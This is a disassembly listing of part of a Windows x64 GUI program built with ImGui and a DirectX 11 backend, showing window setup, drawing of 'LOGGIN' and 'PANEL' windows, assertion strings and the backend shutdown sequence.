cmp dword [r13 + 0x48c8], 0
jg 0x1400684fc
mov r8d, 0x715
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [r13 + 0x48d0]
lea r8, str.Foreground
mov r13d, 1
mov edx, r13d
mov rcx, qword [rax]
call fcn.1400084e0
movss xmm0, dword [0x140196108]
movzx edx, byte [0x14047502e]
movss xmm1, dword [0x14019610c]
movss dword [0x1404abd00], xmm0
movss xmm0, dword [0x140196110]
movss dword [0x1404abd08], xmm0
movss dword [0x1404abd04], xmm1
mov dword [0x1404abd0c], 0x3f800000
test dl, dl
jne 0x1400697df
mov rax, qword [0x140475030]
lea rcx, str.LOGGIN
movss xmm0, dword [0x14017cf30]
xor edx, edx
movss xmm1, dword [0x14017cf20]
mov r8d, 0x30ab
unpcklps xmm0, xmm1
or dword [rax + 0x47d0], 2
movsd qword [rax + 0x47f0], xmm0
mov dword [rax + 0x47d8], r13d
call fcn.14000f9c0
call fcn.14005cb20
mov rbx, qword [rbp + 8]
lea rdx, [rbp + 0x18]
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowRect]
mov r13, qword [0x140475030]
mov rax, qword [r13 + 0x3ef8]
movss xmm2, dword [rax + 0x20]
ucomiss xmm2, xmm11
jp 0x1400685e6
jne 0x1400685e6
movss xmm0, dword [rax + 0x24]
ucomiss xmm0, xmm11
jp 0x1400685e6
je 0x140068656
movd xmm0, dword [rbp + 0x1c]
mov r9d, 0x398
movd xmm1, dword [rbp + 0x18]
mov rcx, rbx
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x258
cvtdq2ps xmm1, xmm1
addss xmm0, dword [rax + 0x24]
addss xmm1, xmm2
cvttss2si r8d, xmm0
cvttss2si edx, xmm1
call qword [sym.imp.USER32.dll_MoveWindow]
mov rcx, qword [0x140475030]
lea rdx, [rbp + 0xf0]
mov qword [rbp + 0xf0], 0
xor r8d, r8d
mov rcx, qword [rcx + 0x3ef8]
call fcn.140013640
mov r13, qword [0x140475030]
mov rax, qword [r13 + 0x3ef8]
lea rcx, [rbp + 0x900]
mov byte [rax + 0xb8], 1
mov rax, qword [r13 + 0x3ef8]
movups xmm0, xmmword [0x1404abd00]
movss xmm8, dword [rax + 0x20]
movss xmm9, dword [rax + 0x24]
movss xmm6, dword [rax + 0x28]
movss xmm7, dword [rax + 0x2c]
addss xmm6, xmm8
mov rbx, qword [rax + 0x298]
addss xmm7, xmm9
movups xmmword [rbp + 0x900], xmm0
call fcn.1400041a0
mov dword [rbp - 0x70], eax
test eax, 0xff000000
je 0x14006879b
movss xmm3, dword [0x14017ce14]
addss xmm8, xmm12
xor eax, eax
addss xmm9, xmm12
test byte [rbx + 0x30], 1
mov rcx, rbx
je 0x140068713
subss xmm6, xmm12
movss dword [rbp + 0xf8], xmm8
subss xmm7, xmm12
movss dword [rbp + 0xfc], xmm9
lea rdx, [rbp + 0xf8]
lea r8, [rbp + 0x100]
movss dword [rbp + 0x100], xmm6
movss dword [rbp + 0x104], xmm7
jmp 0x140068753
subss xmm6, dword [0x14017cd58]
subss xmm7, dword [0x14017cd58]
movss dword [rbp + 0x108], xmm8
lea rdx, [rbp + 0x108]
movss dword [rbp + 0x10c], xmm9
lea r8, [rbp + 0x110]
movss dword [rbp + 0x110], xmm6
movss dword [rbp + 0x114], xmm7
mov dword [rsp + 0x20], eax
call fcn.14002cb20
movss xmm9, dword [0x14017cd90]
mov rcx, rbx
mov r9d, dword [rbp - 0x70]
mov r8d, dword [rbx + 0x78]
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm9
mov dword [rsp + 0x20], 1
call fcn.14002ac90
mov r13, qword [0x140475030]
mov dword [rbx + 0x78], 0
jmp 0x1400687a4
movss xmm9, dword [0x14017cd90]
mov rax, qword [r13 + 0x3ef8]
mov qword [rbp + 0x120], 0
cmp qword [rax + 0x1a8], 0
movss xmm7, dword [rax + 0x254]
movss xmm0, dword [rax + 0x20]
movss xmm8, dword [rax + 0x250]
subss xmm7, dword [rax + 0x24]
subss xmm8, xmm0
jne 0x1400687ea
cmp qword [r13 + 0x4b38], 0
je 0x1400687f8
movss xmm8, dword [rax + 0x220]
subss xmm8, xmm0
cmp dword [r13 + 0x48c8], 0
jg 0x14006881c
mov r8d, 0x715
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [r13 + 0x48d0]
lea r8, str.Background
xor edx, edx
mov rcx, qword [rax]
call fcn.1400084e0
movss xmm1, dword [0x1404abde4]
mov r10, rax
movss xmm0, dword [0x1404abde0]
mov rcx, qword [0x140475030]
movss dword [rbp + 0x5f4], xmm1
movss xmm1, dword [0x1404abdec]
movss dword [rbp + 0x5f0], xmm0
mulss xmm1, dword [rcx + 0x37d0]
lea rcx, [rbp + 0x5f0]
movss xmm0, dword [0x1404abde8]
movss dword [rbp + 0x5f8], xmm0
movaps xmm0, xmm8
movss dword [rbp + 0x5fc], xmm1
addss xmm0, xmm11
movaps xmm1, xmm7
addss xmm1, xmm11
movss dword [rbp + 0x118], xmm0
movss dword [rbp + 0x11c], xmm1
call fcn.1400041a0
movss xmm0, dword [0x14017ce14]
lea r8, [rbp + 0x118]
xor r13d, r13d
lea rdx, [rbp + 0x120]
mov dword [rsp + 0x28], r13d
mov r9d, eax
mov rcx, r10
movss dword [rsp + 0x20], xmm0
call fcn.14002d1c0
movss xmm1, dword [0x1404abd04]
lea rcx, [rbp + 0x5e0]
movss xmm0, dword [0x1404abd00]
mov r8, qword [0x140475030]
movss dword [rbp + 0x5e4], xmm1
movss xmm1, dword [0x1404abd0c]
movss dword [rbp + 0x5e0], xmm0
mulss xmm1, dword [r8 + 0x37d0]
movss xmm0, dword [0x1404abd08]
movss dword [rbp + 0x5e8], xmm0
movss dword [rbp + 0x5ec], xmm1
call fcn.1400041a0
movss xmm6, dword [0x14017cf78]
lea rdx, [rbp - 8]
movss xmm3, dword [0x14017cf50]
mov ebx, eax
movss xmm2, dword [r8 + 0x3c20]
lea rax, [0x14016ac9a]
mov rcx, qword [r8 + 0x3c18]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm6
call fcn.140036080
movss xmm0, dword [rbp - 8]
lea r8, [0x14016ac9a]
addss xmm0, dword [0x14017cd88]
mov r13, qword [rbp - 0x80]
mov rcx, qword [0x140475218]
mov dword [rsp + 0x20], ebx
movss xmm2, dword [r13 + 0x381c]
addss xmm2, dword [0x14017cf40]
cvttss2si eax, xmm0
movss xmm0, dword [r13 + 0x3820]
movaps xmm3, xmm0
addss xmm3, dword [0x14017cf38]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
addss xmm3, xmm0
subss xmm2, xmm1
movss dword [rbp - 8], xmm1
movss xmm1, dword [0x14017ce38]
subss xmm3, dword [rbp - 4]
mulss xmm2, xmm12
addss xmm2, xmm11
mulss xmm3, xmm12
addss xmm3, xmm11
unpcklps xmm2, xmm3
movq r9, xmm2
call fcn.14003aac0
mov rbx, qword [0x140475030]
test rbx, rbx
jne 0x140068a3b
mov r8d, 0xba4
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140475030]
mov eax, dword [0x1404750c0]
cmp eax, dword [0x1404750b4]
jne 0x140068a4d
movaps xmm6, xmm9
test rbx, rbx
jne 0x140068a79
mov rax, qword [0x140475030]
mov ecx, dword [rax + 0x47d0]
or ecx, 2
mov dword [rax + 0x47d0], ecx
movsd xmm0, qword [0x140474180]
movsd qword [rax + 0x47f0], xmm0
mov dword [rax + 0x47d8], r13d
test dl, dl
je 0x14006d8d4
mov dword [rax + 0x47d0], ecx
xor edx, edx
movsd xmm0, qword [0x140474180]
lea rcx, str.PANEL
mov r8d, 0x30ab
movsd qword [rax + 0x47f0], xmm0
call fcn.14000f9c0
call fcn.140057e00
cmp byte [0x1404962eb], 0
je 0x140069851
call fcn.1400587e0
cmp byte [0x1404962ed], 0
je 0x14006985f
call fcn.14005c830
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14006986d
call fcn.14005cb20
mov rbx, qword [0x140475030]
test rbx, rbx
jne 0x14006989a
mov r8d, 0x1033
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140475030]
mov rax, qword [rbx + 0x3ef8]
lea rcx, [rbp + 0x910]
movss xmm8, dword [rbx + 0x18]
mov byte [rax + 0xb8], 1
mov rax, qword [rbx + 0x3ef8]
movups xmm0, xmmword [0x1404abd00]
movss xmm9, dword [rax + 0x20]
movss xmm10, dword [rax + 0x24]
movss xmm6, dword [rax + 0x28]
movss xmm7, dword [rax + 0x2c]
addss xmm6, xmm9
mov r13, qword [rax + 0x298]
addss xmm7, xmm10
movups xmmword [rbp + 0x910], xmm0
call fcn.1400041a0
mov dword [rbp - 0x70], eax
test eax, 0xff000000
je 0x1400699e7
movss xmm3, dword [0x14017ce14]
addss xmm9, xmm12
xor eax, eax
addss xmm10, xmm12
test byte [r13 + 0x30], 1
mov rcx, r13
je 0x14006995e
movss xmm9, dword [0x14017cd90]
addss xmm8, dword [0x1404966ec]
movss dword [0x1404966ec], xmm8
addss xmm8, xmm8
movaps xmm0, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_sinf
mov rcx, qword [0x140475208]
movaps xmm6, xmm0
andps xmm6, xmmword [0x14017d280]
mov r13, rcx
mov qword [rbp - 0x70], rcx
test rcx, rcx
jne 0x140069a68
call fcn.14000b5d0
mov rcx, qword [0x1404aaf40]
lea r8, [0x1404aaee8]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0xc10], xmm0
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1404aaf40]
lea r8, [rbp + 0xc10]
mov rdx, qword [0x1404aaee8]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rbx, qword [0x140475030]
cmp dword [rbx + 0x48c8], 0
jg 0x14006d948
mov r8d, 0x715
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48d0]
mov rcx, qword [rax]
xor eax, eax
add rcx, 0x48
cmp byte [rcx], al
cmovne rax, rcx
mov rcx, rax
call fcn.14004bc90
mov rcx, qword [0x1404aaf30]
xor r8d, r8d
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x40]
mov r13, qword [rbp + 8]
mov ebx, dword [rbp - 0x60]
jmp 0x1400671d0
mov rbx, qword [0x140475030]
test rbx, rbx
je 0x14006d99f
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x14006d9c2
jmp 0x14006d9a1
xor edi, edi
mov r8d, 0x241
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_factura_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140475030]
test rbx, rbx
jne 0x14006d9e8
mov r8d, 0x1033
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x140475030]
call fcn.14004cc40
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x14006d9fc
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x14006da0a
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14006da19
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [0x140475030]
xor esi, esi
mov qword [rbx + 0x90], rsi
mov qword [rbx + 0xa0], rsi
and dword [rbx + 0xc], 0xfffffff7
test rax, rax
je 0x14006da3f
dec dword [rax + 0xf4]
mov rdx, qword [0x140475020]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rax, qword [0x140475030]
test rax, rax
je 0x14006da68
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x14006da8c
jmp 0x14006da6b
mov rbx, rsi
mov r8d, 0xb7
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_factura_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140475030]
test rax, rax
jne 0x14006dab2
mov r8d, 0x1033
lea rdx, str.C:UsersAdminDownloadsNew_folder__3_New_folderimgui_facturaimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140475030]
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x14006dacc
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x140475030]
mov qword [rdi + 0x80], rsi
mov qword [rdi + 0x90], rsi
and dword [rdi + 4], 0xfffffff8
test rax, rax
je 0x14006dae9
dec dword [rax + 0xf4]
mov rdx, qword [0x140475020]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rbx, qword [0x140475030]
mov qword [0x140475030], rbx
call fcn.1400068e0
mov qword [0x140475030], rsi
test rbx, rbx
je 0x14006db40
mov rcx, rbx
call fcn.140021710
mov rax, qword [0x140475030]
test rax, rax
je 0x14006db31
dec dword [rax + 0xf4]
mov rdx, qword [0x140475020]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
call fcn.14006dd30
mov rcx, r13
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x758]
mov rcx, qword [rbp + 0x780]
call qword [sym.imp.USER32.dll_UnregisterClassW]
movaps xmm7, xmmword [rsp + 0x177c0]
xor eax, eax
movaps xmm8, xmmword [rsp + 0x177b0]
movaps xmm9, xmmword [rsp + 0x177a0]
movaps xmm6, xmmword [rsp + 0x177d0]
movaps xmm10, xmmword [rsp + 0x17790]
movaps xmm11, xmmword [rsp + 0x17780]
movaps xmm12, xmmword [rsp + 0x17770]
movaps xmm13, xmmword [rsp + 0x17760]
movaps xmm14, xmmword [rsp + 0x17750]
mov r12, qword [rsp + 0x17810]
movaps xmm15, xmmword [rsp + 0x17740]
mov r13, qword [rsp + 0x17818]
mov r14, qword [rsp + 0x17820]
add rsp, 0x177e0
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov ecx, 6
mov dword [rbp + 0x428], ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x438], ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x448], ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rbp + 0x458], ebx
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3